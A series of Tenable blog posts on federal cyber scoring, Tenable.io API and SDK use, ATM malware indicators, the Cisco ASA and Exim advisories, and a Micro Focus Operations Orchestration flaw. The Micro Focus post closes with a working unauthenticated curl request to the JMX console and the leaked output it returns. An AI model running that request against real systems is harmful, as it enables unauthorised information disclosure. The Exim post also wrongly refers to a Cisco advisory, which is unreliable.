At a recent Tenable sponsored MeriTalk event, Kevin Cox, program manager for Continuous Diagnostics and Mitigation (CDM), provided a preview of coming attractions regarding the CDM federal dashboard. As of this writing, the CDM dashboard is in its initial production stage, with agency exchanges being set up to aggregate the data to be fed into the dashboard. At least five agencies are reportedly on track to have data uploaded to the CDM dashboard during the first quarter of 2018.

Agency-Wide Adaptive Risk Enumeration (AWARE): New scoring algorithm for cyber hygiene

Looking ahead, Cox announced that Release 5 of the CDM dashboard, due out in the spring, will introduce a new scoring algorithm that provides a single-number summary of each federal agency’s “cyber hygiene” status. This new algorithm, which will be known as Agency-Wide Adaptive Risk Enumeration (AWARE), is an evolving concept intended to drive CDM toward the goal of improving the way the government measures its cyber risk – that is, the degree to which known vulnerabilities continue to provide an unprotected attack surface for potential adversaries. AWARE will provide a raw risk score, which gives an agency, at a glance, a rough idea of its overall cyber risk. Cox stressed that it was only a starting point toward achieving and maintaining good basic cyber hygiene. Plans call for AWARE to continue to be refined in subsequent releases, increasingly taking mitigation and other relevant factors into account. This initial release represents an important step toward the overarching goal of sharpening the federal focus on performing basic cyber hygiene.

Sometimes referred to as the “blocking and tackling” of cybersecurity, basic cyber hygiene includes foundational tasks essential to securing any environment, such as making sure that software, applications and operating systems are promptly and regularly updated with their most recent versions. The first step in achieving this goal is to identify all devices on the network – physical, virtual and transient. Once identified, devices are then scanned to assess known vulnerabilities. The Department of Homeland Security has set the goal for every government agency to perform these scans at least every 72 hours.

Once a vulnerability is identified, remediation is prioritized by the agency. Patching operational systems is disruptive. Without a rigorous patch management program, however, greater delays and more serious disruptions may result from exploits of these vulnerabilities. The recent Equifax breach provides an example of the potentially devastating impact of delayed patching. That massive data exfiltration was made possible because Equifax had not patched a known vulnerability, Apache Struts CVE-2017-5638, even though that patch had been available for two months prior to the breach.

CDM AWARE and Cyber Exposure: The path to strategic decision-making

The CDM AWARE initiative is an important effort to measure cyber risk in a meaningful way, which will become increasingly difficult – and important – as modern assets, such as cloud infrastructure, mobile devices and OT and IoT devices, make their way into the network environment. Delivering meaningful risk measurement in the modern IT environment is a cornerstone of an emerging concept known as Cyber Exposure. Building on vulnerability management through assessment of network assets and activity, Cyber Exposure provides strategic insight with an objective way to measure and compare cyber risk across the components of an organization or, in the case of CDM, the agencies and departments of the U.S. federal government.

Cyber Exposure, like CDM, happens in distinct stages:

• Perform live discovery and vulnerability assessment that encompasses all traditional and modern assets to provide the visibility needed to determine what assets are on the network and to what extent they are secure and exposed.
• Once this information has been collected, map it to the organization’s mission to help determine what’s important, including the asset’s use and criticality.
• Enrich using other data sources, including whether the vulnerability is currently being exploited.
• Prioritize scarce resources and efforts to mitigate those vulnerabilities that most directly affect the mission.
• Perhaps most importantly, leverage the Cyber Exposure data to drive strategic discussions and investment decisions based on quantifying risks in the context of the organization and its missions.

At a high level, Cyber Exposure is analogous to IT Service Management (ITSM). Just as ITSM provides a process for planning, delivering and operating IT services to better support customers, Cyber Exposure provides a discipline and process for managing and measuring cyber risk against the modern attack surface. Quantifying Cyber Exposure in operational terms helps drive more productive and actionable discussion with an organization’s senior leadership. In adopting the AWARE algorithm, the CDM program is making a meaningful security move that introduces the U.S. federal government to the use of Cyber Exposure data as a key risk metric to be considered in future strategic decision-making.

Want to learn more?

For more insight into Cyber Exposure, visit: https://www.tenable.com/cyber-exposure

To learn more about how Tenable, and its flagship CDM platform, SecurityCenter Continuous View, can help your agency improve its security posture, visit: https://www.tenable.com/data-sheets/maximize-outcomes-for-cdm-and-much-more-with-securitycenter-continuous-view

Tenable.io is the world’s first Cyber Exposure platform, giving you complete visibility into your network and helping you to manage and measure your modern attack surface. All the powerful capabilities of Tenable.io Vulnerability Management are available in the Tenable.io API, a robust, well-documented tool for users of all experience levels. Tenable.io users can access the API via the publicly available web interface. Highly technical users can leverage the API using utilities like cURL or Postman to gather data in an automated fashion and get additional details that may not be readily available via the web UI.

Using the Tenable.io API

Using the Tenable.io API web UI allows you to leverage many of the API’s capabilities without having to be familiar with crafting API queries or using utilities like cURL or Postman.

The key to leveraging the API UI that isn’t necessarily obvious is most requests require you to be authenticated. This is most easily accomplished by having two windows or tabs open: one with your authenticated Tenable.io session and one with the Tenable.io API. This lets the Tenable.io API use your authenticated session to perform the queries. If you fail to authenticate before attempting to send API queries, you will usually get an error like the one below. After authenticating, refresh the API page and the error should be resolved.

Suggested queries

The API accepts queries against 19 different data types, with more than a hundred methods and additional filters or parameters. The API can be used to: create and control scans, add users or configure permissions, modify or create scan policies and perform dozens of other tasks. Many of these tasks could be useful to automate through scripting API queries, but a foundational understanding of the Tenable.io API is necessary.

Getting a list of assets in your Tenable.io container

The API UI is a great way to build an understanding of what the various methods, requests and parameters do. As an example, let’s step through how to get a list of all the assets in your Tenable.io container:

1. First, make sure you have authenticated to Tenable.io and have the API UI open.
2. Next, click workbenches in the left bar, and then click assets.

3. Now, scroll to the bottom of the webpage, where the Test section is shown.

As you can see, there are a few optional parameters for filtering the results of the query. For now, let’s leave those as the defaults and click Send. Once the request completes, you’ll receive a list of your assets and details about them in JSON format.

Getting a list of vulnerabilities

The workbenches > vulnerabilities query works similarly, but has more parameters available for configuration. Setting any of these parameters will filter the results of your query, allowing you to tailor your results based on what you’re looking for.

A quick word on the filters field: you can define an array of filters that’ll be logically connected by either “and” or “or,” as defined in the “filter.search_type” field. An example filter is shown grayed out in the filter field. This example filter isn’t actually applied when the query is run, but any filter you enter will be applied. Additional filter details are given in the Filters section farther up the webpage.

The response to the vulnerabilities query won’t provide details about individual plugins or the vulnerability results. However, from the list, you can grab a plugin ID to use in other queries. Set the plugin ID in the workbenches > vulnerability-info query to get more information about the plugin. Set the plugin ID in the workbenches > vulnerability-output query to get vulnerability results such as the assets where the vulnerability was found.

Using other API utilities

The Tenable.io API UI can help you build a sufficient foundation so that you can then perform more complex requests via other API utilities such as cURL or Postman. As usual, authentication is necessary with these utilities before the requests for data will work. A POST to <https://cloud.tenable.com/session> with your credentials in the body will give you the session token you need to perform data queries. The cURL request for getting your authenticated session token would look similar to this, but with your own credentials (note that because this is a POST request to an https URL, your credentials are not being transmitted in the clear!):

curl -X POST -H "Content-Type: application/json" -H "Cache-Control: no-cache" -d '{"username":"sample@tenableio.user", "password":"YourPasswordHere"}' "https://cloud.tenable.com/session"

Once you have the session token, you can perform queries to accomplish any of the tasks available via the API UI. In the API UI, look at the HTTP Request information to get the proper method and URL syntax to run a query. For example, this query would provide you with your list of scans and details about them:

curl -X GET -H "X-Cookie: token=YourSessionTokenHere" -H "Cache-Control: no-cache" "https://cloud.tenable.com/scans"

A request like this one would return your list of target groups:

curl -X GET -H "X-Cookie: token=YourSessionTokenHere" -H "Cache-Control: no-cache" "https://cloud.tenable.com/target-groups"

And this request closes down your session:

curl -X DELETE -H "X-Cookie: token=YourSessionTokenHere" -H "Cache-Control: no-cache" "https://cloud.tenable.com/session"

Any of these cURL requests can be easily modified for use in Postman or scripting in various languages.

The Tenable.io solution

Even if you’re not a customer yet, you can still take a look at the Tenable.io API today right in your browser. The API is publicly available and, as you’ll see, is fully documented. Once you become a Tenable customer, all the capabilities of Tenable.io Vulnerability Management – accurate asset tracking, vulnerability states, workbenches and reports and more – are available in the API, so that customers and partners can use any data they need in an automated fashion. The API is also fully equipped for use via various API utilities or scripting in many languages.

Start your free 60-day trial of Tenable.io Vulnerability Management now!

A lot has been written about how the DevOps revolution is making life much more challenging for cybersecurity. A big reason why: Security teams are largely missing from DevOps sprints and scrums today. This lack of security participation in a discipline that prides itself on breaking down silos and facilitating collaboration is creating a significant Cyber Exposure gap that needs to be addressed. As a result, cybersecurity is constantly scrambling to identify and secure assets and applications after release – like a never-ending game of Whac-A-Mole. Surely, there’s a better way.

Fortunately, there is. And the answer actually includes more DevOps – specifically, encouraging cybersecurity teams to embrace DevOps principles in their own processes and workflows. Here are three reasons why combining these two practices is a game-changer for security.

1) Built-in security

Security testing needs to live where developers live, namely in the DevOps pipeline. It’s critical to adapt security processes to the developer, and not the other way around. This ensures that security is not an afterthought during development and developers never have to leave their continuous integration/continuous deployment (CI/CD) systems for quality assurance testing. Building security into DevOps is a huge win for cybersecurity effectiveness.

2) Automation

Cybersecurity must embrace automated testing and auditing wherever possible. Organizations are releasing dozens, even hundreds, of software updates daily. Relying on manual processes makes it impossible for security to keep up. Instead, security tests should be triggered automatically with every build change or as new vulnerabilities are discovered. Continuous software delivery requires continuous security controls.

3) Proactive prevention

Given the choice, cybersecurity leaders would rather spend their time implementing higher-value security programs to support compliance and improve risk management (instead of playing Whac-A-Mole). Proactively identifying and remediating vulnerabilities during development saves a tremendous amount of time and money (over 85% by some estimates!) compared to remediating in production. The old adage is certainly true in security: An ounce of prevention is worth a pound of cure.

If reducing security costs, eliminating blind spots and accelerating DevOps is one of your 2018 objectives, check out the IDG whitepaper, 3 Reasons: Why DevOps Is a Game-Changer for Security. You’ll come away with steps you can take to foster a more collaborative and proactive approach to securing your organization and reducing your Cyber Exposure gap. It’s time to recast security from blocker to digital business enabler.

U.S. President Trump is expected to discuss his long-awaited infrastructure plan in tonight’s State of the Union address, but we should not expect full details for a few more weeks. The focus on upgrading our roads, bridges, tunnels and other physical infrastructure is welcome. But we need to do more than address these weak brick-and-mortar foundations. A real 21st century infrastructure plan needs to integrate digital infrastructure into physical upgrades and invest in innovative technologies that will keep America globally competitive and secure.

Today, it’s just a fact that the technology which makes things like education and healthcare more accessible to more Americans – the rise of cloud, mobile and IoT – also makes us more vulnerable to cyberattacks. The stakes could not be greater, particularly when it comes to our critical infrastructure.

Cyberattacks on critical infrastructure are rising

The U.S. Department of Homeland Security (DHS) and Federal Bureau of Investigation (FBI) recently detected coordinated efforts by malicious actors to compromise our critical infrastructure, including those organizations involved in government, aviation, power production, energy production and critical manufacturing sectors. Further, the U.S. Department of Energy reported last year that America’s electricity infrastructure was in “imminent danger” from cyberattacks that are “growing more frequent and sophisticated.”

It’s no surprise that cyberattacks on critical infrastructure are rising. Organizations in the sector are high-value targets because they’re weakly defended systems that, if hacked, could help disrupt a network of utilities or oil and gas companies, potentially cutting off essential public services such as electricity, gas and water. 

Ensuring security of critical infrastructure requires collaboration 

So, how can the federal government ensure the security of critical infrastructure in the implementation of a broader infrastructure plan?

For starters, government regulators need to work with industry to develop standards. For example, the Federal Regulatory Commission (FERC) proposed new rules to protect the power grid from cyberattacks and the U.S. Department of Commerce is expected to issue an update to its cybersecurity framework for critical infrastructure early this year. These are both laudable steps.

But, in an environment where attacks are probable more than possible, early detection is key. Every organization needs to proactively develop the tools and capability to rapidly respond and recover in the event of a breach or attack. That’s why Tenable recently began a partnership with global energy leader Siemens to help operators of critical infrastructure continuously monitor both their traditional IT environment and Industrial Control Systems (ICS) environment for indicators of compromise, proper configuration, the presence of vulnerabilities and changes of state to the endpoints.

The public and private sectors also need to work together to assess the security of critical infrastructure sectors and develop a risk-based approach to address it, similar to the widely successful NIST Cybersecurity Framework. More broadly, we need tech advocates in Congress like Reps. Will Hurd and Gerry Connolly to play a leading role in ensuring the latest technology and security solutions are seeded into proposals for new construction and upgrades.

Smart infrastructure investments must address digital infrastructure, too

The bottom line? If America is going to invest $1 trillion in our infrastructure, it must include significant investments in digital infrastructure, so that we can take advantage of new innovations which will save lives, boost our economy and protect against the cybersecurity threats posed by a more connected society.

Ploutus-D is malware used for ATM jackpotting. It was discovered in Mexico in 2013, and is now getting reported as reaching the U.S. by Krebs on Security. This attack has been analysed by FireEye in 2017, showing some of the technical details behind the ATM attack and how the offenders might take advantage of physical access to dump money from an ATM.

Based on the reports, the attackers must first gain physical access to the ATM to install the malware. The first line of defense against this attack is a good physical security program to prevent unauthorized users from gaining physical access to the machine. Krebs on Security has published the Diebold Nixdorf security alert with mitigations recommended by Diebold Nixdorf.

Tenable can help with detecting the malware on infected ATMs, including both currently infected ATMs and ATMs that have malware infections which were not sufficiently cleaned.

Malicious Process Detection

Running Plugin 59275, Malicious Process Detection detects if the malware is currently running on the system.

Running Plugin 88961, Malicious File Detection against the file system detects the infection on disk.

Indicators of Compromise Detection

Using Indicators Of Compromise (IOCs), you can detect if you’re currently infected. Additionally, left-behind remnants of a previous infection may also be reported.

Detect the registry entry “\\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit=”Diebold.exe,%system32%/userinit.exe”:

• Plugin 70629, Microsoft Windows AutoRuns Winlogon

Detect the service “DIEBOLDP”:

• Plugin 70626, Microsoft Windows AutoRuns Services and Drivers

Detecting process “Diebold.exe”:

• Plugin 70329, Microsoft Windows Process Information
• Plugin 77668, Windows Prefetch Folder
• Plugin 92423, Windows Explorer Recently Executed Programs
• Plugin 92424, MUICache Program Execution History

Look at processes showing up as unsigned:

• Plugin 104856, Malicious Process Detection: Authenticode Not Signed

Conclusion

Jackpotting attacks such as Ploutus have been observed in the U.S. These attacks can be better mitigated with appropriate physical and software security controls. It’s yet another reminder to be aware of your Cyber Exposure. The time has long passed where servers in a data center and computers on employee’s desks are the only infrastructure an organization needs to include in its security program.

By now, the benefits of cloud computing are well-understood. Organizations look to the cloud for on-demand scalability, simplified deployment and maintenance, increased efficiency and more.

In my conversations with customers, it’s clear that most are embracing cloud technologies. However, the cloud isn’t for everyone. For example, some organizations have privacy and compliance regulations or policies that restrict the use of cloud services.

At Tenable, we believe it’s important for all organizations, regardless of their requirements, to have an accurate view of their Cyber Exposure, so they can eliminate blind spots and manage risk across their attack surface.

And that’s why we’re excited to announce Tenable.io on-prem, a new deployment model for Tenable.io. Tenable.io on-prem is a traditional software offering that provides full control over your data along with the modern user experience, broad asset coverage and open platform that customers have come to rely on with the cloud version of Tenable.io.

Here’s a quick look at the benefits:

Keep data under your control

To help meet strict data management policies and regulations, Tenable.io on-prem enables you to host and operate your Cyber Exposure platform within your network. Data is kept locally, both in transit and at rest, within your organization’s boundaries.

Cyber Exposure capabilities now available on-prem

With Tenable.io on-prem, you can accurately identify both traditional and modern assets and their vulnerabilities, eliminating blind spots, prioritizing what matters most to your organization and enabling fast remediation. It provides the majority of capabilities offered by the cloud-based Tenable.io and a similar user experience, although some capabilities will only be offered in the cloud version. Like Tenable.io cloud, the on-prem offering includes Nessus sensors for active and agent-based scanning and passive network monitoring, as well as an API and SDK for those who want to automate the sharing of Tenable.io capabilities and vulnerability data or build on the Tenable.io platform.

Find the right solution for your business

With the introduction of Tenable.io on-prem, you now have freedom of choice when deciding how to manage your security data, while benefiting from the industry’s first Cyber Exposure platform. With both cloud and on-prem offerings, Tenable and our partners can help you weigh the benefits of each option and choose a solution that best fits your organization’s unique needs and requirements.

For more information about Tenable.io on-prem, read the data sheet. Or contact us for help choosing which Tenable.io deployment model is best for you.

On January 29, Cisco released an advisory for a critical vulnerability in their Adaptive Security Appliance (ASA) software. The critical flaw, assigned CVE-2018-0101, has a CVSS score of 10.0 and could allow for a denial-of-service attack and remote code execution. On February 5, Cisco updated the advisory indicating they’d found additional attack vectors and more affected products. They also determined the original fix was incomplete. Early adopters of the patch will need to revisit the advisory and apply the latest update to their devices.

Vulnerability details

The vulnerability was originally found by NCC Group and has since been presented at REcon Brussels. The slides have been made available and the details of the vulnerability are now widely available. A denial-of-service proof of concept has already been published to Pastebin as well.

The vulnerability is reportedly a seven-year-old flaw within a Cisco XML parser. Using a crafted XML payload, a remote, unauthenticated attacker could cause a reload on an affected device or potentially execute arbitrary code. The original exploit, as written by NCC Group, uses IKEv1 fragmentation to leverage the XML vulnerability into code execution. As such, the additional interfaces added in the February 5, 2018, update (ASDM, CSM, Cut-Through Proxy, Local CA, MDM Proxy, and REST API) may only be vulnerable to denial-of-service attacks.

Identifying affected systems

Tenable has released Nessus® plugins manageable via Security Center or Tenable.io to detect systems affected by this critical flaw. The following table summarizes Tenable's coverage. Cisco has updated the advisory several times since the initial release to update the affected vectors as well as to make corrections to the patch versions. Tenable continues to monitor this situation and update our coverage as necessary.

Note: Tenable is investigating alternate detection methods for these vulnerabilities, including investigating a proof of concept (PoC) for the Denial-of-Service (DoS) flaw.

What should you do?

If you’re running affected devices on your network, make sure you’re running the most current software release. Cisco notes in their advisory that customers should regularly review their security advisories to ensure they’re current and up-to-date on any new patches or software releases.

Get more information

• Learn more about Tenable.io, the first Cyber Exposure platform for holistic management of your modern attack surface
• Get a free 60-day trial of Tenable.io Vulnerability Management
• Cisco cisco-sa-20180129-asa1Advisory
• Cisco Blog on CVE-2018-0101
• NCC Research

Thanks to Jacob Baines for his contributions to this blog post.

February 22 marks the date Australia finally rolls out its long-awaited data breach notification laws. After years of back-and-forth, handballed from minister to minister, Australia has reached a point of maturity when it comes to lawfully disclosing serious breaches of personal and business data.

The news is likely to be music to the ears of consumers, who have been left in the dark by businesses sweeping breaches of sensitive information under the carpet.

Under the new laws, all organisations covered by the Australian Privacy Act will be accountable to the Notifiable Data Breaches (NDB) scheme. If an unauthorised person or entity accesses personal information, where it is likely to cause serious harm to that individual, the data breach will have to be reported to the Office of the Australian Information Commissioner (OAIC), as well as the individuals affected.

But, in 2018, it’s shocking to hear reports that Australian businesses still feel unprepared for the rollout of these laws. Businesses will soon be responsible for instant reporting of compromised data, incurring fines of up to AU$360,000 for individuals and AU$1.8 million for organisations. There are huge financial and brand risks at stake.

Cybersecurity is as imperative to businesses as the internet connection that helps them get their work done. If you’re one of those businesses feeling a bit shaky and unprepared for this change, here’s what you need to do.

Don’t get complacent

For businesses, one of the hardest things to measure is preventative costs against an unknown benefit — you don’t know what you might lose until you lose it.

It may seem obvious that data breaches occur when data is hacked, but breaches aren’t limited to malicious activities. Human error can also be at play within an organisation — for example, not following proper internal protocols that cause accidental loss or disclosure of information.

Other ways data breaches may occur:

• Lost or stolen laptops, tablets, smartphones
• Removable hard drives or USBs containing privileged information being passed on to other users without proper clearance or having these devices stolen
• Hacked cloud and physical databases that contain personal and private information
• Paper records stolen from unsecured bins/filing cabinets
• Employees sharing privileged information outside of an organisation without the proper authority

What businesses should do to prepare (at the very least)

The Australian Signals Directorate (ASD) has published a cybersecurity baseline known as the
“Strategies to Mitigate Cyber Security Incidents” aka the “Essential Eight,” a prioritised list of initiatives to enhance computer security. The Essential Eight are the most fundamental elements of this list, ensuring good security habits are employed throughout the organisation. The guidelines are best used as a baseline, to sense check the current security protocols, then adapted to the specific needs of the business.

Here are the eight guidelines at a glance:

1. Whitelist applications: Whitelisting applications allows only trusted applications to run
   on your network.
2. Patch applications: Patching known security vulnerabilities in a timely manner is one of
   the most simple and effective steps an organisation can take to ensure the security of
   their network and environment.
3. Disable untrusted Microsoft Office macros: Automating routine tasks with Microsoft
   Office is convenient. However, macros can contain malware or malicious packet
   commands and often result in unauthorized access to sensitive information or the
   manipulation of critical data. The use of macros should be restricted to signed and
   trusted macros. Macros should also be routinely audited to determine if the macro is still
   needed.
4. Harden user applications: In environments where web browsing is allowed, common places for attack include: malicious websites, advertisements and emails with infected
   attachments. The ASD recommends that administrators block web browser access to Adobe Flash and untrusted Oracle Java applications,
5. Restrict administrative privileges: Due to staff turnover, overlooked default accounts
   or ease-of-use, there may be administrator accounts that provide far too much privilege
   that can be used to make significant changes or bypass critical security settings.
   Administrator privileges should be restricted to only those users who need privileges.
6. Patch operating systems: Operating system vendors are continually issuing patches to
   remedy security vulnerabilities. Applying patches in a timely manner is essential to
   ensuring both the security of a system and the security of data within the system.
7. Multifactor authentication: Strong access controls, like multifactor authentication, can
   prevent an attack from compromising a system.
8. Daily backup of important data: The daily backup of important data has never been
   more critical, as attackers develop increasingly sophisticated ransomware tools like
   Petya and WannaCry. Daily backups of important data, and the secure storage of that
   data offline, ensure that your organisation can recover data in the event of a
   cybersecurity incident.

Following each of these steps is a good starting point to creating a secure environment for your organisation. For a deep dive into The Essential Eight, read the ASD 8 whitepaper.

The Tenable Python SDK was built to provide Tenable.io™ users with the ability to leverage the Tenable.io API by building their own scripts, programs and modules that can seamlessly interact with their data in the Tenable.io platform.

If you’re unfamiliar with how to get started using the Python SDK, refer to my past blog post or see the README for the project in github.

Prerequisites

The examples used in the post will assume:

• Python 2.7 or 3.4+ installed
• An administrator account in Tenable.io with generated API keys
• A Nessus scanner linked to Tenable.io

Running an internal scan

In this section, you’ll learn how to run an internal scan using the Tenable.io Python SDK.

The code

from tenable_io.client import TenableIOClient

from tenable_io.api.scans import ScanCreateRequest

from tenable_io.api.models import ScanSettings

client = TenableIOClient(access_key='{YOUR ACCESS KEY}', secret_key='{YOUR SECRET KEY}')

scanners = {scanner.name: scanner.id for scanner in client.scanners_api.list().scanners}

template = client.scan_helper.template(name='basic')

scan_id = client.scans_api.create(

ScanCreateRequest(

template.uuid,

ScanSettings(

‘{YOUR SCAN NAME}’,

‘{YOUR SCAN TARGETS}’,

scanner_id=scanners['{YOUR SCANNER NAME}']

)

)

)

scan = client.scan_helper.id(scan_id)

scan.launch()

Note: Be sure to fill in the variables wrapped in curly brackets above with your own information.

The first several lines are importing the Tenable.io SDK client and models for creating your scan.

from tenable_io.client import TenableIOClient

from tenable_io.api.scans import ScanCreateRequest

from tenable_io.api.models import ScanSettings

Next the client needs to be initialized with your API keys.

client = TenableIOClient(access_key='{YOUR ACCESS KEY}', secret_key='{YOUR SECRET KEY}')

The next line will create a dictionary of all linked scanner names with their scanner ID.

scanners = {scanner.name: scanner.id for scanner in client.scanners_api.list().scanners}

The next line will get the policy ID (internally known as the template ID) for the scan you’d like to run. In this example, the ‘Basic’ scan template is used.

template = client.scan_helper.template(name='basic')

Finally, you’ll use all these details to create a “CreateScanRequest” object that can be passed to the API to create your scan.

scan_id = client.scans_api.create(

ScanCreateRequest(

template.uuid,

ScanSettings(

‘{YOUR SCAN NAME}’,

‘{YOUR SCAN TARGETS}’,

scanner_id=scanners['{YOUR SCANNER NAME}']

)

)

)

Note: Scan targets should be defined the same way they would be defined in the User Interface, using commas to separate targets.

With the scan successfully created, all that’s left is to get the “ScanRef” of your scan using its scan ID, which will give you access to all the scan controls, including launching the scan, as shown in the final line.

scan = client.scan_helper.id(scan_id)

scan.launch()

Shortly after running this script, you can confirm it worked by checking the Scans page in Tenable.io. In this case, the scan was named “My Basic Scan” and was set to scan three IPs.

And after it completes.

Exporting a scan report by name

Another use case important to many users is the ability to export a previously run scan to share results with management or other stakeholders. This can also be done with ease using the SDK.

The code

from tenable_io.client import TenableIOClient

client = TenableIOClient(access_key='{YOUR ACCESS KEY}', secret_key='{YOUR SECRET KEY}')
scans = {scan.name: scan.id for scan in client.scans_api.list().scans}
scan = client.scan_helper.id(scans['{YOUR SCAN NAME}'])
scan.download('{YOUR SCAN NAME}.pdf')

As in the example above, first you will import the Tenable.io SDK client and initialize it using your API keys.

from tenable_io.client import TenableIOClient

client = TenableIOClient(access_key='{YOUR ACCESS KEY}', secret_key='{YOUR SECRET KEY}')

Next, you’ll generate a dictionary of your scan names and their associated ID.

scans = {scan.name: scan.id for scan in client.scans_api.list().scans}

Again, similar to the example above, you’ll create a “ScanRef” of your desired scan by supplying the scan’s name.

scan = client.scan_helper.id(scans['{YOUR SCAN NAME}'])

Finally, the last line will download the scan report, which is a PDF by default. Optionally, you can also pass in additional parameters from “ScanExportRequest” to export the report in a different format such as CSV or HTML.

scan.download('{YOUR SCAN NAME}.pdf')

Importing a Nessus scan into Tenable.io

Another solution that may be helpful to some users is the ability to import a Nessus scan from an unlinked scanner into Tenable.io to get a more complete view of their current Cyber Exposure.

The code

import os
from tenable_io.client import TenableIOClient

client = TenableIOClient(access_key='{YOUR ACCESS KEY}', secret_key='{YOUR SECRET KEY}')
dir_path = os.path.dirname(os.path.realpath(__file__))
file = os.path.join(dir_path, '{YOUR NESSUS FILE}')
client.scan_helper.import_scan(file, True)

The first few lines of this example are the same as the last example, with the addition of the Python os module, which will be used to locate the file to upload. In this example, the file should be in the same directory as the script being run.

import os
from tenable_io.client import TenableIOClient

client = TenableIOClient(access_key='{YOUR ACCESS KEY}', secret_key='{YOUR SECRET KEY}')

The next lines use the os module to locate the path of the running script, then get the full path of the scan results file you plan to upload.

dir_path = os.path.dirname(os.path.realpath(__file__))

file = os.path.join(dir_path, '{YOUR NESSUS FILE}')

Finally, you can use the scan_helper “import_scan” function to upload your scan result.

client.scan_helper.import_scan(file, True)

After running the script, you should be able to confirm it worked by checking the Scans page in Tenable.io for your uploaded scan. In this example, the scan was named “offlineScanResults.nessus”.

Tips

One tip that can come in handy when using multiple scripts or deploying your scripts to other machines is to set your API keys in an INI file or as environment variables for the Tenable client to use.

INI example

Create a new file in the same directory that you will execute your script from called “tenable_io.ini”. You can format this file like the example below. Notice you can also easily set the logging level when using this approach. If you have a script that is failing for unknown reasons, setting this to INFO or DEBUG can be helpful.

[tenable_io]
access_key = 1111d58e443e08e080790193e27ae151c16b0415270b738137e50eecbcc08d74
secret_key = 22220bf73a6bcb0cf4bcd9cf5839bff21357f2cd81884e4984e8ed4ecd4b6d83
logging_level = ERROR

Environment variables

If you’d rather not go the route of the INI file, you can also set the TENABLEIO_ACCESS_KEY and TENABLEIO_SECRET_KEY environment variables, which will supply your API keys to the client.

For more information

• Tenable.io free 60-day evaluation
• Tenable.io SDK for Python
• Getting Started with the Tenable.io Python SDK

Plugins are at the core of Tenable products. Over 100,000 of these simple programs check for specific flaws to detect vulnerabilities. We’ve previously detailed what plugins are, how they work and even our favorite plugin. Today, we’re happy to share that we’ve released a completely new public plugins search.

Our goals were to:

• Combine plugin data from all our sensors (Nessus, Nessus Network Monitor, Tenable.io Web Application Scanning and Log Correlation Engine)
• Display all underlying data in each plugin that you see in each product interface
• Vastly improve search capabilities
• Improve discoverability and performance

Improved advanced search capabilities

We’ve improved search significantly. Search now supports full text searching and Apache Lucene search syntax. In the previous plugins search, you could only search on eight attributes. We’ve now expanded this to over 30 and added the ability to combine these attributes to further refine your search results.

Share your search results

Want to share search results with a colleague? We’ve added direct link support, so you can share any URL that returns search results. Here are a few examples:

• All plugins with critical severity
• Exploitable vulnerabilities published in the last 7 days
• All plugins related to Meltdown and Spectre
• Vulnerabilities in the news
• Local checks and agent-capable plugins
• OWASP Top 10 - Injection
• IoT and SCADA plugins
• Apple iOS plugins, not Cisco IOS plugins

Thank you to our community

Our plugins search is the tool most widely used by the Tenable Community. We appreciate your feedback and are continuously making improvements. Please take a look and let us know what you think!

On February 10, the Unix-based email server Exim released an update to address a heap buffer overflow vulnerability that can be used by an unauthenticated attacker to remotely execute arbitrary code. The flaw, assigned CVE-2018-6789, is noted to exist in all versions of Exim, prior to their latest release, 4.90.1, which means the attack surface potential is very wide. A quick search on Shodan yields more than 6 million results.

Vulnerability details

The vulnerability was originally discovered by DEVCORE, and details were published on their blog on March 6. The vulnerability is due to a flaw in the b64decode buffer length in the base64d() function. Due to an off-by-one calculation mistake, heap memory can be overwritten when parsing an invalid base64 string leading to critical data being overwritten.

As base64 decoding is a widely used function, and since the byte is user-controlled, this increases the ease of exploitation, which can be utilized for remote code execution.

Identifying affected systems

To detect systems affected by this critical flaw, Tenable has released Nessus® plugins for Tenable.io Vulnerability Management, SecurityCenter and Nessus Pro. Additionally, Tenable has released passive detection via Nessus Network Monitor, which may be used with Tenable.io Vulnerability Management to detect the vulnerability passively on the network. Tenable.io Container Security has also been updated to detect the Exim off-by-one RCE vulnerability in Docker container images. The following table summarizes Tenable's coverage.

Cisco has updated the advisory several times since the initial release to reflect the affected vectors as well as to make corrections to the patch versions. Tenable continues to monitor this situation and update our coverage as necessary.

What should you do?

If you’re running a version of Exim prior to 4.90.1, make sure you update to the most current release. Exim notes that all versions of Exim prior to 4.90.1 are now obsolete and that 3.x releases are also obsolete and should not be used.

Get more information

• Learn more about Tenable.io, the first Cyber Exposure platform for holistic management of your modern attack surface
• Get a free 60-day trial of Tenable.io Vulnerability Management
• DEVCORE blog details
• Exim ChangeLog
• Exim CVE-2018-6789 Advisory

Tenable Research's Zero Exposure team just released an advisory for an information disclosure and denial-of-service vulnerability in Micro Focus Operations Orchestration software.

This post provides further context around the discovered vulnerability.

Background

Micro Focus merged with HPE Software in 2017 and HPE Operations Orchestrator was rebranded Micro Focus Operations Orchestrator.

Micro Focus Operations Orchestrator is a component of Micro Focus's Hybrid Cloud Management (HCM) and other ITOM suites for the automation of end-to-end IT processes. It is commonly used by large enterprises to automate incident and disaster recovery, and hybrid cloud provisioning and configuration processes and tasks.

Analysis

The default configuration of Operations Orchestration exposes the JMiniX JMX console to unauthenticated remote users. A malicious attacker can use this console to gather information.

All that's required is remote network access to the application. Exploitation is trivial (e.g., using curl).

Information disclosure

Below is an example showing how to interrogate the application to disclose sensitive runtime information.

albinolobster@ubuntu:~$ curl -d "executed=true" -X POST http://192.168.1.253:8080/oo/jminix/servers/0/domains/com.sun.management/mbeans/type=DiagnosticCommand/operations/vmSystemProperties%28%29/
#Wed Feb 28 11:01:57 EST 2018
java.vendor=Azul Systems, Inc.
events.persistency=false
org.apache.xml.security.ignoreLineBreaks=true
sun.java.launcher=SUN_STANDARD
catalina.base=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/tomcat
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Windows 10
